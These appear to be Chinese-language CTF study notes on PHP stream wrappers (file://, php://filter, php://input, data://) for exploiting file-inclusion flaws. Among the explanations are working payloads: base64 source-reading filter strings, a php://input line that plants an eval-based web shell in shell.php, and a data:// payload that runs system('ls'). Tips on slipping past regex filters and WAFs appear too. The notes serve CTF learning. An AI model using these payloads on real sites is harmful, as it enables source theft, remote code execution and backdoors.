伪协议用法随手记
包含函数
PHP里面共有4个与文件包含相关的函数,分别是:
include
require
include_once
require_once
支持的协议和封装协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
CTF中常见的伪协议:
1.file://
这个协议可以展现本地文件系统,默认目录是当前的工作目录。
file:///path/to/file.ext 在文件包含中其实也就是等价/path/to/file.ext
但是如果来个题目给你来个正则匹配../ 或/开头的时候就可以用这个方法来绕过了。
2.php://
(1)php://filter
一种元封装器, 设计用于数据流打开时的筛选过滤应用
读取源码:payload: php://filter/read=convert.base64-encode/resource=filename
(1)
readfile("http://www.example.com");
等价于
readfile("php://filter/resource=http://www.example.com");
(2)
读取链
file_get_contents("php://filter/read=convert.base64-encode/resource=test.php");
写入链
file_put_contents("php://filter/write=convert.base64-decode/resource=[file]","base64");
这个点在ctf有时候会很有用,可以绕过一些waf
(2)php://input
可以访问请求的原始数据的只读流, 用于执行php代码,将post请求中的数据作为PHP代码执行(用hackbar或抓包)。
有自身局限性:
allow_url_fopen :off/on (默认配置on) allow_url_include:on (默认配置off)
如:
也可以写入一句话木马:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
(3)php://data
data://text/plain,xxxx(要执行的php代码)
data://text/plain;base64,xxxx(base64编码后的数据)
例:
?page=data://text/plain,……
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=
参考文章:
https://xz.aliyun.com/t/5535
https://blog.csdn.net/Mr_helloword/article/details/107929653